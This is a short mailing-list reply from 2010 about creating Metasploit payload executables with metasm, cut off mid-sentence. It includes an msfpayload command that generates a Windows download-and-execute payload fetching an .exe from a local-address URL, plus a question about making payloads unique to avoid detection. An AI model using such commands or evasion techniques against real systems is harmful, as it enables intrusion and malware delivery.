mailing list archives
Re: Dynamic creation of payload executables with metasm
From: Eric <dkn4a1 () gmail com>
Date: Mon, 31 May 2010 11:53:46 +0530
Well, i wud like to give an attempt to answer ur 1st question, not sure abt
the second one.
On Mon, May 31, 2010 at 12:03 AM, John Biondolillo <johnb.electric () gmail com
I know this is in the works but since I'm impatient I started working on it
my self. I've got a basic payload that just displays a message box with user
supplied data, its portable code so it can be used from Windows 2000 -
Windows 7, but I'm new to assembly so there is no polymorphism meaning if
you create two payloads with the same input they'd be identical I'm guessing
this is were the encoders come in.
I have two questions:
1. I can't find the asm source for download_exec, since its a simple
payload its the next one I want to do, theres a million examples online but
the one in the framework seems to be very reliable.Can anyone point me in
the right direction to find it.
on a linux box, with metasploit installed on it
*$ msfpayload windows/download_exec URL=http://192.168.1.1/download.exe R >
*$ ndisasm -b 32 download_exec_payload > asm_code*
As, you may already be knowing that this payload creates an executable named
"a.exe" in the PWD of exploited process.
2. Whats this best way to make each payload unique, adding junk code,
random characters were able in the header, or just try to use one of the